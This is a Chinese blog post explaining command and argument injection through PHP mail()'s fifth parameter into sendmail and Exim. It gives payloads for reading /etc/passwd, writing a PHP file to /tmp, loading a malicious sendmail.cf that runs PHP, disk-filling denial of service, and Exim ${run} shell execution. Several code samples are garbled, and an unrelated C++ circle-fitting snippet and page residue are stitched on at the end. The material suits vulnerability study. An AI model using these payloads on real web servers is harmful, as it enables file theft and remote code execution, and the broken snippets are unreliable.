php mail 权限,PHP mail()函数漏洞总结 · MYZ’s Blog

漏洞成因

[email protected]_golunski曝光了多个使用PHP mail函数引发命令执行的漏洞。众多使用php内置mail函数的第三方邮件库,如phpmailer,SwiftMailer 纷纷中招。这些漏洞的成因和之前曝光的Roundcube命令执行漏洞如出一辙,都是由于其在调用php内置mail函数时,没有恰当过滤第5个参数,可以被注入恶意参数,引发命令执行漏洞。

mail()函数介绍1

2

3

4

5bool mail ( string $to 电子邮件收件人,或收件人列表

, string $subject 电子邮件的主题

, string $message 邮件内容

[, string $additional_headers

[, string $additional_parameters ]] ) 许多web应用使用它设置发送者的地址和返回路径

这里最后一个参数( $ additional_parameters),允许注入额外的参数给系统安装的/usr/bin/sendmail程序,该程序使用mail()发送消息。

在Linux系统上,mail函数在底层实现中,默认调用Linux的sendmail程序发送邮件。

例:使用mail()函数发送邮件1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="body of the message";

mail($to,$subject,$body,$headers,"-f $sender");

?>

php将调用execve()执行sendmail程序1execve("/bin/sh","sh","-c","/usr/sbin/sendmail -t -i -f [email protected]"],[/* 24 environment var */])

-t和-i参数由PHP自动添加。参数-t使sendmail从标准输入中提取头,-i阻止sendmail将’.’作为输入的结尾。-f来自于mail()函数调用的第5个参数。

如果一个攻击者能够注入数据到mail()函数的第5个参数中,就会导致命令注入1/usr/sbin/sendmail -t -i -f [email protected] exta_data

虽然PHP会使用escapeshellcmd函数来过滤参数的内容,对特殊字符的转义来防止恶意命令执行(`|*?~<>^()[]{}$, x0A and xFF.’ “这些字符都不能使用),但是我们可以添加命令执行的其他参数。

-X logfile是记录log文件的,就是可以写文件;

-C file是临时加载一个配置文件,就是可以读文件;

-O option=value 是临时设置一个邮件存储的临时目录的配置。

使用-C参数文件任意读1/usr/sbin/sendmail -t -i -f [email protected] -C/etc/passwd -X /tmp/output.txt

保存/etc/passwd 的内容到/tmp/output.txt

任意文件写/远程代码执行

Sendmail MTA版本的/usr/sbin/sendmail的-X参数也能和下面参数组合使用1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="<?php phpinfo();?>";

$sender="[email protected] -OQueueDirectory=/tmp/ -X/tmp/poc.php";

mail($to,$subject,$body,$headers,"-f $sender");

?>

这里的意思就是说我们将发送邮件的信息如body临时文件保存在tmp下面,最后将日志保存在/tmp/poc.php,写到poc.php 文件的内容就是我那个发送邮件的内容了

注:-OQueueDirectory=/tmp/ 可以简写成-oQ/tmp/ -X后也可用相对路径

Sendmail MTA:通过sendmail.cf远程代码执行

如果当前目录你没权限写怎么办?

或者写入的文件没办法执行怎么办?

在一个安全部署的web应用中,在上传目录(upload目录)的PHP脚本执行可能是被禁止的,且应用只允许上传静态文件(如纯文本、图片等)。发现的新的攻击向量能打破这些限制。因为sendmail接口允许通过-C参数加载一个自定义的Sendmail MTA配置文件,攻击者通过web应用的上传功能上传一个恶意的配置文件,使用它强制Sendmail执行恶意的代码这能通过复制一份/etc/mail/sendmail.cf配置文件并使用下面的Sendmail配置替换文件末尾的默认的Mlocal邮件处理函数来实现添加一段代码:1

2

3

4Mlocal, P=/usr/bin/php, F=lsDFMAw5:[email protected], S=EnvFromL/HdrFromL,

R=EnvToL/HdrToL,

T=DNS/RFC822/X-Unix,

A=php -- $u $h ${client_addr}

phpmail.png

$sender payload将使用相对路径从upload/sendmail_cf_exec加载构造的Sendmail MTA配置文件,使用它处理来自mail()函数的邮件Sendmail MTA将启动/usr/bin/php进程并处理$body中的消息。有这么一种场景,一个攻击者能简单的使用/tmp目录来存放恶意的配置文件,然后使用mail()漏洞加载配置并在受害者用户上下文中获得代码执行。

Sendmail MTA:通过文件读和文件追加造成拒绝服务

-C和-X参数能用来对目标执行拒绝服务攻击,方法是使用-C选项读取大的已知文件(如web服务器日志),并追加他们到一个可写目录下的文件中(如/tmp、/var/www/html/upload、/var/lib/php5/sessions等),以消耗磁盘空间。尽管这个例子只限于Sendmail MTA,这个向量也可能影响更多的MTA服务器,只要使用其他MTA支持的类似的参数来做到。

注:

Mail()参数注入被认为几乎不可能利用,因为多年来5th个参数都被认为不太可能暴露到web应用控制面板外面来接收恶意输入,其通常受限于管理员用户,因此很少被远程利用。

找到mail()参数注入漏洞,也不能保证一个成功的利用,因为依赖web服务器安装的MTA版本,直到现在也只有很少使用的Sendmail MTA的2个向量 –X和-C(文件写/读)。

由于复杂性和一些历史漏洞原因,Sendmail MTA很少被使用。现代linux分发中已不再默认包含它,且在基于Redhat的系统(如centos)上被Postfix MTA替换,在基于Debian的系统(如Ubuntu、Debian等)上被Exim MTA替代。

这使得在真实环境中很难找到Sendmail MTA。即使找到了,有时也会因为一些限制导致利用失败(如修改webroot路径、php执行目录等)。

有一种新的利用向量,能在Exim和Postfix上使用

所有的MTA:抢夺邮件/执行侦查1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="<?php phpinfo();?>";

mail($to,$subject,$body,$headers,"-f $sender");

?>

[email protected]内容包含了:

使用的操作系统版本(Debian)

服务器IP

使用的MTA版本(8.14.4,是Sendmail MTA)

发送消息的脚本名,继而揭露电子邮件发送库/框架的名(如X-PHP-Originating-Script: 0:class.phpmailer.php)

如果应用使用了电子邮件库(如PHPMailer、Zend-mail等)。可能会有版本头。

知道了使用的库,攻击者能调整他们的攻击的系统、MTA和PHP电子邮件库。

例如,PHPMailer库有版本有漏洞:PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

Exim MTA:远程代码执行

/usr/sbin/sendmail接口由Exim4提供,它有丰富的功能

研究表明-be选项对于攻击者很有用, 更深入的研究发现${run}能扩展到shell命令的返回结果

${run{}{}{}}//执行命令,成功返回string1,失败返回string2

${run{/bin/true}{yes}{no}} 成功执行/bin/true后会扩展为'yes'

这很快就能转化为任意远程代码执行payload,能执行在$body内的任意shell命令:1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="Exec :${run{/bin/bash -c "usr/bin/id >/tmp/id"}{yes}{no}}";

mail($to,$subject,$body,$headers,"-f $sender");

?>

参考链接:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
解释 int nSize = pdPoints.size(); if (nSize < 3) { return; } vector<double>vdX; vector<double>vdY; double dMeanX = 0, dMeanY = 0; for (Point2d p : pdPoints) { vdX.push_back(p.x); vdY.push_back(p.y); dMeanX += p.x; dMeanY += p.y; } dMeanX /= (nSize * 1.); dMeanY /= (nSize * 1.); double Xi = 0, Yi = 0, Zi = 0; double Mz = 0, Mxy = 0, Mxx = 0, Myy = 0, Mxz = 0, Myz = 0, Mzz = 0, Cov_xy = 0, Var_z=0; double A0 = 0, A1 = 0, A2 = 0, A22 = 0; double Dy = 0, xnew = 0, x = 0, ynew = 0, y = 0; double DET = 0, Xcenter = 0, Ycenter = 0; for (int i = 0; i < nSize; i++) { Xi = vdX[i] - dMeanX; // centered x-coordinates Yi = vdY[i] - dMeanY; // centered y-coordinates Zi = Xi * Xi + Yi * Yi; Mxy += Xi * Yi; Mxx += Xi * Xi; Myy += Yi * Yi; Mxz += Xi * Zi; Myz += Yi * Zi; Mzz += Zi * Zi; } Mxx /= (nSize * 1.); Myy /= (nSize * 1.); Mxy /= (nSize * 1.); Mxz /= (nSize * 1.); Myz /= (nSize * 1.); Mzz /= (nSize * 1.); Mz = Mxx + Myy; Cov_xy = Mxx * Myy - Mxy * Mxy; Var_z = Mzz - Mz * Mz; A2 = 4.0 * Cov_xy - 3.0 * Mz * Mz - Mzz; A1 = Var_z * Mz + 4.0 * Cov_xy * Mz - Mxz * Mxz - Myz * Myz; A0 = Mxz * (Mxz * Myy - Myz * Mxy) + Myz * (Myz * Mxx - Mxz * Mxy) - Var_z * Cov_xy; A22 = A2 + A2; // finding the root of the characteristic polynomial // using Newton's method starting at x=0 // (it is guaranteed to converge to the right root) x = 0., y = A0; for (int i = 0; i < 99; i++) // usually, 4-6 iterations are enough { Dy = A1 + x * (A22 + 16. * x * x); xnew = x - y / Dy; if ((xnew == x) || (!isfinite(xnew))) { break; } ynew = A0 + xnew * (A1 + xnew * (A2 + 4.0 * xnew * xnew)); if (abs(ynew) >= abs(y)) { break; } x = xnew; y = ynew; } DET = x * x - x * Mz + Cov_xy; Xcenter = (Mxz * (Myy - x) - Myz * Mxy) / DET / 2.0; Ycenter = (Myz * (Mxx - x) - Mxz * Mxy) / DET / 2.0; dRadius = sqrt(Xcenter * Xcenter + Ycenter * Ycenter + Mz - x - x); pdCenter = Point2d(Xcenter + dMeanX, Ycenter + dMeanY);
最新发布
06-09

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值